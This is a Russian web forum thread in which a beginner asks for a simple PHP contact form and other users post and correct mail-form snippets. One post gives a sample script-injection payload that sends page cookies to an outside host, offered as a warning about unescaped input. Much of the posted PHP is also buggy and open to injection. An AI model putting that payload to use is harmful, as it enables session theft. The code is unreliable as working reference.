Jump to content
  • 0

Простейшая форма отправки почты


dron
 Share

Question

Recommended Posts

  • 0
Добрый день. Мне на простенький сайт (html) нужна простенькая форма отправки письма... Буквально 3-4 поля (Имя, контакт, текст).

Заранее спасибо!

Это только при условии что хостинг поддерживает php

Link to comment
Share on other sites

  • 0
это понятно. скрипт будет размещаться на другом хостинге, где php поддерживается.

<?php
session_start();
$date = date("d/m/Y");
$user = $_POST['user'];
$email = $_POST['email'];
$phone = $_POST['phone'];
$comments = $_POST['comments'];

if(count($_POST)>0)
{
if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['keystring'])
{

if (empty($_POST['user']) or strlen($user) < 5)
{
echo '<p style="color:#911113;font:normal 14px Verdana;">Вы не указали ФИО!</p>';
}
if (!preg_match("/[0-9\-\(\)]+$/", $_POST['phone']) or strlen($phone) < 5)
{
echo '<p style="color:#911113;font:normal 14px Verdana;">Телефон не был указан, либо были введены буквы вместо цифр!</p>';
}
if (!preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $_POST['email']))
{
echo '<p style="color:#911113;font:normal 14px Verdana;">Email не был указан, или указан некорректный email!</p>';
}
if (empty($_POST['comments']) or strlen($comments) < 30)
{
echo '<p style="color:#911113;font:normal 14px Verdana;">Вы не написали сообщение!</p>
<a href="java script:self.close()">Закрыть окно</a>';
}
else
{

$text = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>'. $from . '</title>
<style media="screen" type="text/css">
table {
padding:5px;
margin:5px;
border:#E2E2E2 solid 2px;
width:600px;
text-align: center;
}
td {
border:#E2E2E2 solid 1px;
width:100px;
padding:5px;
margin:5px;
text-align: center;
color:#3E73C8;
}
body {
margin: 0;
padding: 6px;
border: 0;
background: #fff;
text-align: center;
}
</style>
</head>
<body>
<table>
<tr>
<td>ФИО отправителя:</td>
<td> ' . $user = str_replace("\n", "<br />", $user) . '</td>
</tr>
<tr>
<td>Email отправителя:</td>
<td> ' . $email = str_replace("\n", "<br />", $email) . '</td>
</tr>
<tr>
<td>Телефон отправителя:</td>
<td> ' . $phone = str_replace("\n", "<br />", $phone) . '</td>
</tr>
<tr>
<td>Комментарий:</td>
<td> ' . $comments = str_replace("\n", "<br />", $comments) . '</td>
</tr>
<tr>
<td>Дата отправки:</td>
<td><div style="line-height: 30px;"> (' . $date . ')</div></td>
</tr>
</table>
</body>
</html>';

$toMail = "test@test.ru";
$subject= "Сообщение с сайта: ".$_SERVER['SERVER_NAME'];
$from="Сообщение от: ".$_POST['user'];
$headers = "MIME-Version: 1.0\n";
$headers .= "Content-type: text/html; charset=windows-1251 \r\n";
$headers.= "From: $from<test@".$_SERVER['SERVER_NAME'].">\r\n";
mail ($toMail, $subject, $text, $headers);

echo
'<p style="color:#911113;font:normal 14px Verdana;">Сообщение успешно отправлено.</p>
<a href="java script:self.close()">Закрыть окно</a>';
}
echo '<p style="color:#911113;font:normal 14px Verdana;">Код введен правильно!</p>';
}
else
{
echo '<p style="color:#911113;font:normal 14px Verdana;">Ошибка - не введен код подтверждения, либо введен неверно!</p>
<a href="java script:self.close()">Закрыть окно</a>';
}
}
unset($_SESSION['captcha_keystring']);
?>

Это при том условии что установлена капча в форме. :D

Link to comment
Share on other sites

  • 0
if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['keystring'])

rus, а зачем тут дважды написано $_SESSION['captcha_keystring'] ?

Кстати эта форма уже и не совсем простая)

Не лишним было бы использование htmlspecialchars() и substr(). Если пых выше 5.2.0 то за место некоторых регулярок можно использовать встроенные функции

Link to comment
Share on other sites

  • 0
rus, а зачем тут дважды написано $_SESSION['captcha_keystring'] ?

Честно говоря не задумывался, взял с индексного файла капчи, что называется поставил - работает и ладно.

Кстати эта форма уже и не совсем простая)

Взял со своей, писал давно.

Не лишним было бы использование htmlspecialchars() и substr(). Если пых выше 5.2.0 то за место некоторых регулярок можно использовать встроенные функции

Форма идет на мыло, а не в бд.

И спрашивается нахрена там проверка на внедрение html тегов?

А вот substr() может и пригодилась бы...

Link to comment
Share on other sites

  • 0
Форма идет на мыло, а не в бд.

И спрашивается нахрена там проверка на внедрение html тегов?

:D привычка уже вписывать ее))) Только это не проверка, а замена символов на хтмл-эквиваленты

может имеет смысл ее использовать в данном случае чтобы спец. символы отображались как надо в арбузере не зависимо от шрифтов и прочего?

тем более что мыло в хтмл формате

Edited by gesandte
Link to comment
Share on other sites

  • 0
Только это не проверка, а замена символов на хтмл-эквиваленты

Ну да, все так. Просто стараюсь немного абстрагироваться от документированного языка и называть некоторые весчи человечным языком. :D

может имеет смысл ее использовать в данном случае чтобы спец. символы отображались как надо в арбузере не зависимо от шрифтов и прочего?

тем более что мыло в хтмл формате

Ну это кому как удобно.

А вообще привычка хорошая, защищать все и вся и ото всех. :D

Link to comment
Share on other sites

  • 0

если не будет защита от html тегов, то вполне может прийти письмо с таким содержанием:

<script type="text/javascript">
for(i=1;i<100000000000000000000000000000;i=i+1){alert('Лууузер');}
</script>

или с таким:

<script type="text/javascript">
document.write("<iframe src='http://ppiskun.com/1.php?"+document.cookies+"'></iframe>");
</script>

Edited by Павел Билькис
Link to comment
Share on other sites

  • 0
если не будет защита от html тегов, то вполне может прийти письмо с таким содержанием:

<script type="text/javascript">
for(i=1;i<100000000000000000000000000000;i=i+1){alert('Лууузер');}
</script>

или с таким:

<script type="text/javascript">
document.write("<iframe src='http://ppiskun.com/1.php?"+document.cookies+"'></iframe>");
</script>

И что должно придти?

Ты сам то хоть проверял?

Я твой код вставил специально даже в тот текстареа, в котором вообще нет никаких проверок и как результат - ничего не пришло. :D

Так кто тут лузер то? :D

Link to comment
Share on other sites

  • 0

блин, ребят, вы меня запутали... мне нужен код для вставки на страницу + файлы самой скрипта, которые можно было бы разместить на другом серваке!!!!

нашел самый простой вариант:

<?php 
// если была нажата кнопка "Отправить"
if($_POST['submit']) {
// $_POST['title'] содержит данные из поля "Тема", trim() - убираем все лишние пробелы и переносы строк, htmlspecialchars() - преобразует специальные символы в HTML сущности, будем считать для того, чтобы простейшие попытки взломать наш сайт обломались, ну и substr($_POST['title'], 0, 1000) - урезаем текст до 1000 символов. Для переменной $_POST['mess'] все аналогично
$title = substr(htmlspecialchars(trim($_POST['title'])), 0, 1000);
$mess = substr(htmlspecialchars(trim($_POST['mess'])), 0, 1000000);
// $to - кому отправляем
$to = 'test@test.ru';
// $from - от кого
$from='test@test.ru';
// функция, которая отправляет наше письмо.
mail($to, $title, $mess, 'From:'.$from);
echo 'Спасибо! Ваше письмо отправлено.';
}
?>
<form action="" method=post>

<p>Вводный текст перед формой <p>
<div align="center">
Teма<br />
<input type="text" name="title" size="40"><br />
Сообщение<br />
<textarea name="mess" rows="10" cols="40"></textarea>
<br />
<input type="submit" value="Отправить" name="submit"></div>
</form>

Есть 2 вопроса:

1. тут после отправки открывается пустая страница с надписью: Спасибо! Ваше письмо отправлено. Скажите а как поправить вот это место

mail($to, $title, $mess, 'From:'.$from);

echo 'Спасибо! Ваше письмо отправлено.';

что бы открывалась страничка, ну например, thanks.html???

2. В качестве получателя тут фигурирует 1 адресат:

// $to - кому отправляем

$to = 'test@test.ru';

а что нужно прописать, что бы письмо приходило на 3-4 разных адреса???

заранее спасибо!

Edited by dron
Link to comment
Share on other sites

  • 0
Есть 2 вопроса:

1. тут после отправки открывается пустая страница с надписью: Спасибо! Ваше письмо отправлено. Скажите а как поправить вот это место

mail($to, $title, $mess, 'From:'.$from);

echo 'Спасибо! Ваше письмо отправлено.';

что бы открывалась страничка, ну например, thanks.html???

2. В качестве получателя тут фигурирует 1 адресат:

// $to - кому отправляем

$to = 'test@test.ru';

а что нужно прописать, что бы письмо приходило на 3-4 разных адреса???

заранее спасибо!

1) header("location: thanks.html");

2) for ($i = 0; $i < count($mail_list); $i++) {

mail($mail_list[$i], $title, $mess, 'From:'.$from);

}

, где $mail_list - массив, содержащий список адресов почты для отправки

блин, ребят, вы меня запутали... мне нужен код для вставки на страницу + файлы самой скрипта, которые можно было бы разместить на другом серваке!!!!

тебе rus и выложил скрипт, правда не совсем уж и простой)))

а разделить котлеты от мух просто

Link to comment
Share on other sites

  • 0

просто я в пхп ноль полный... даже в синтаксисе не шарю... простите уж...

уважаемый gesandte. вот что у меня получилось. но ничего не работает. видать я все же где-то чего-то не так сделал...

<?php 
// если была нажата кнопка "Отправить"
if($_POST['submit']) {
// $_POST['title'] содержит данные из поля "Тема", trim() - убираем все лишние пробелы и переносы строк, htmlspecialchars() - преобразует специальные символы в HTML сущности, будем считать для того, чтобы простейшие попытки взломать наш сайт обломались, ну и substr($_POST['title'], 0, 1000) - урезаем текст до 1000 символов. Для переменной $_POST['mess'] все аналогично
$title = substr(htmlspecialchars(trim($_POST['title'])), 0, 1000);
$mess = substr(htmlspecialchars(trim($_POST['mess'])), 0, 1000000);
// $to - кому отправляем
for ($i = 0; $i < count($mail_list); $i++) {
mail(1@mail.ru, 2@mail.ru[$i], $title, $mess, 'From:'.$from);
// $from - от кого
$from='info@toroni.ru';
// функция, которая отправляет наше письмо.
mail($to, $title, $mess, 'From:'.$from);
header("location: thanks.html");
}
?>

подскажите, пожалуйста, в чем ошибка...

Link to comment
Share on other sites

  • 0

пробуй

<?php 

if (isset ($_POST["submit"])) {
# обработка данных
$title = substr(htmlspecialchars(trim($_POST["title"])), 0, 1000);
$msg = substr(htmlspecialchars(trim($_POST["mess"])), 0, 1000000);

# от кого письмо
$from = "Сообщение от: info@toroni.ru";

# файл-массив со списком адресов
$user_list = file("users.txt");

# отправляем
foreach ($user_list as $user) {
mail($user, $title, $msg, $from, "Conten-Type: text/plain; charset=\"win-1251\"\n");
}

# перенаправляем
header("location: thanks.html");
}
else
{
# кнопка не была нажата
# перенаправляем на страницу ввода данных
# впиши название страницы
header("location: .html");
}
?>

не забудь создать файл users.txt и занести туда адреса электронной почты

Link to comment
Share on other sites

  • 0

работает! огромное спасибо! но снова вопросы:

1. на моем хостинге нет поддержки пхп, поэтому я разместил сам скрипт на другом своем хостинге. Теперь письмо приходит от satwor01@fe50.hc.ru (User Satwor01) (это название моего аккаунта). Можно ли как-то прописать чтобы приходило от кого-то конкретного?

2. пробую добавить еще одну строку. Делаю так

<?php 

if (isset ($_POST["submit"])) {
# обработка данных
[u]$fio = substr(htmlspecialchars(trim($_POST["fio"])), 0, 100);[/u]
$title = substr(htmlspecialchars(trim($_POST["title"])), 0, 1000);
$msg = substr(htmlspecialchars(trim($_POST["mess"])), 0, 1000000);

# от кого письмо
$from = "Сообщение c Вашего сайта www.toroni.ru";

# файл-массив со списком адресов
$user_list = file("users.txt");

# отправляем
foreach ($user_list as $user) {
mail($user, [u]$fio[/u], $title, $msg, $from, "Conten-Type: text/plain; charset=\"win-1251\"\n");
}

# перенаправляем
header("location: http://toroni.ru/thanks.html");
}
else
{
# кнопка не была нажата
# перенаправляем на страницу ввода данных
# впиши название страницы
header("location: non.html");
}
?>

ну и строку в хтмл

<p>Представьтесь<br />

<input type="text" name="fio" size="40"></p>

появляется ошибка. что опять не так?

3. а вот это зачем?

# кнопка не была нажата

# перенаправляем на страницу ввода данных

# впиши название страницы

header("location: .html");

Заранее спасибо!

Link to comment
Share on other sites

  • 0
2) for ($i = 0; $i < count($mail_list); $i++) {

mail($mail_list[$i], $title, $mess, 'From:'.$from);

}

, где $mail_list - массив, содержащий список адресов почты для отправки

Ну и зачем? Через запятую почтовые ящики, и всё ок.

Link to comment
Share on other sites

  • 0
3. а вот это зачем?

# кнопка не была нажата

# перенаправляем на страницу ввода данных

# впиши название страницы

header("location: .html");

Заранее спасибо!

на сучай если какой нибудь умник введет в адресной строке путь к скрипту обработчика формы

2. пробую добавить еще одну строку. Делаю так

 [ u ]  $fio = substr(htmlspecialchars(trim($_POST["fio"])), 0, 100);  [ /u ]

удали

[ u ]   [ /u ] 

и в строке

mail($user, [ u ]  $fio  [ /u ], $title, $msg, $from, "Conten-Type: text/plain; charset=\"win-1251\"\n"); 

тоже самое

Ну и зачем? Через запятую почтовые ящики, и всё ок.

а если надо отправить не на несколько адресов а, на несколько десятков?

И не совсем ok будет

Edited by gesandte
Link to comment
Share on other sites

  • 0
а если надо отправить не на несколько адресов а, на несколько десятков?

И не совсем ok будет

Автор сказал что нужно на 3-4 адреса, по сему можно просто их из массива вытаскивать:

$to = array("1" => "test1@mail.ru", "2" => "test2@mail.ru", "3" => "test3@mail.ru");


mail($to["1"], $to["2"], $to["3"], $title, $mess, 'From:'.$from);

Я мог где-то ошибиться в написании, так что поправьте если что :D

Edited by rus
Link to comment
Share on other sites

  • 0

1. ...удали .... блин, это я когда сообщение отправлял подчеркивал места куда вносил изменения. в коде этого и нет. а ошибка все равно есть...

2. а что с этим: На моем хостинге нет поддержки пхп, поэтому я разместил сам скрипт на другом своем хостинге. Теперь письмо приходит от satwor01@fe50.hc.ru (User Satwor01) (это название моего аккаунта). Можно ли как-то прописать чтобы приходило от кого-то конкретного?

Link to comment
Share on other sites

  • 0
1. ...удали .... блин, это я когда сообщение отправлял подчеркивал места куда вносил изменения. в коде этого и нет. а ошибка все равно есть...

2. а что с этим: На моем хостинге нет поддержки пхп, поэтому я разместил сам скрипт на другом своем хостинге. Теперь письмо приходит от satwor01@fe50.hc.ru (User Satwor01) (это название моего аккаунта). Можно ли как-то прописать чтобы приходило от кого-то конкретного?

Чем тебе мой скрипт не понравился?

Link to comment
Share on other sites

  • 0

Проблем в том что в функции отправки мыла нет такого пункта как ФИО. Поэтому переменную содержащюю эти данные надо внести в текст сообщения

например так можно


......
if (isset ($_POST["submit"])) {
# обработка данных
$fio = substr(htmlspecialchars(trim($_POST["fio"])), 0, 100);
$title = substr(htmlspecialchars(trim($_POST["title"])), 0, 1000);
$msg = substr(htmlspecialchars(trim($_POST["mess"])), 0, 1000000);

# от кого письмо
$from = "Сообщение c Вашего сайта www.toroni.ru";

# файл-массив со списком адресов
$user_list = file("users.txt");

# отправляем
foreach ($user_list as $user) {
mail($user, $title, $fio $msg, $from, "Conten-Type: text/plain; charset=\"win-1251\"\n");
}
........

Edited by gesandte
Link to comment
Share on other sites

  • 0

по 2-му вопросу ответа не знаю

Автор сказал что нужно на 3-4 адреса, по сему можно просто их из массива вытаскивать:

$to = array("1" => "test1@mail.ru", "2" => "test2@mail.ru", "3" => "test3@mail.ru");


mail($to["1"], $to["2"], $to["3"], $title, $mess, 'From:'.$from);

Я мог где-то ошибиться в написании, так что поправьте если что :D

только при использовании цикла код меньше выходит вроде как, читабельность кода так же выше, да и в случае изменния данных проше отредактировать :D

Чем тебе мой скрипт не понравился?

видимо каптчи испугался :D

Link to comment
Share on other sites

  • 0

кстати именно капчи и испугался на самом деле! просил же простейший код, 3 поля и все! а тут капча. тем более у меня ситуевина вишь какая, на серваке нету пхп, скрипт лежит на другом сервере...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy